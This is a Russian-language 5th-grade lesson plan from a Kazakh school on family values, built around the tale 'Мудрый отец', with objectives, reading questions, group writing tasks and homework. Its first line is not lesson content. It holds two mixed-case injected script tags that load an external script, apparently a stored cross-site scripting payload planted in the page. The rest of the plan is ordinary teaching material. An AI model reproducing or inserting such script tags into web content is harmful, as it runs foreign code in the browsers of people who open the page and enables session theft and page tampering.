<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Предмет: Русский язык и литература

Раздел 2: Семья.

Тема: Семейные ценности

ГУ «Бектауская средняя школа» Шортандинского района.

Дата: 

Учитель: Кульмаганбетова  К.Ш.

Класс: 5 класс

Кол-во присутствующих учеников:

Кол-во отсутствующих учеников:0

Цели обучения:

Ч6. Анализировать содержание небольших произведений

фольклора и литературы, определяя тему и основную идею.

Ч3.Формулировать вопросы по содержанию текста и отвечать

на них.

П1. Создавать тексты (письмо, дневник, стихотворение, сказка), используя

элементы разговорного и художественного стилей 

Цели урока:

Все

учащиеся смогут:  определять тему и основную идею

произведения и отвечать на вопросы;

Большинство

уч-ся сможет: написать письмо, используя элементы разговорного стиля;

Некоторые

уч-ся смогут: анализировать небольшое произведение, сочинить сказку, используя элементы разговорного и художественного

стилей.

Языковые цели:

Словарная работа: лоханка, прутик, взломал

Предыдущее обучение:

Это не первый урок данной темы, поэтому ученики могут

понимать содержание прочитанного текста, определять стиль и тип речи.

План урока

Время

Запланированная работа

Ресурсы

Начало урока

 5 мин

Основная

часть урока

5 мин.

10 мин

     3 мин

     7 мин

      10 мин

 Организационный момент. Позитивный настрой на урок. Тренинг «Сиамские близнецы».

К. Совместное

чтение. На партах лежат тексты сказки « Мудрый отец».

 Начинает читать учитель до…вот отец пошел.

 Учитель задает вопросы, используя прием

«Гора историй».

- Где происходили события?

-  Сколько сынов было у отца?

 - Чего захотели сыновья?

 - Что сказал отец?

- Сыновья ответили…

 - Как им ответил отец?

Дифференциация. Дальше читает ученик.

Ученики определяют основную

идею данного абзаца через графический органайзер «Габл- Бабл».

 Прием

«Отслеживание мыслей». Ученики пишут собственное продолжение сказки.

Презентуют несколько человек классу.

Учитель продолжает чтение сказки

до конца.

Формативный опрос.

- что было неожиданным для вас?

-почему братья не стали

отделяться и почему?

Физминутка

Формативное задание. Дифференциация. Принцип деления на группы

«1,2»

Делит учитель. Группа

1-ученики с уровнем обученности (А,В), группа 2 – ученики с уровнем

обученности (С).

Ц.О.   П1. Создавать тексты (письмо,

дневник, стихотворение, сказка), используя элементы разговорного и

художественного стилей.

Уровни мыслительных навыков:

Критерий оценивания:

-написать письмо, используя фразеологизмы и пословицы;

  - сочинить

сказку, используя фразеологизмы, эпитеты.

Задание.

 1 группа.

Напишите письмо другу, используя фразеологизмы и пословицы.

2 группа. Сочините сказку, используя фразеологизмы и

эпитеты.

О.учителем.

http://kazka.ru/mudryj-otec.html

Подведение итогов

   5 мин.

2 мин

Рефлексия: «Мясорубка»

.

Домашнее задание: прочитайте

текст и нарисуйте свои ассоциации к нему.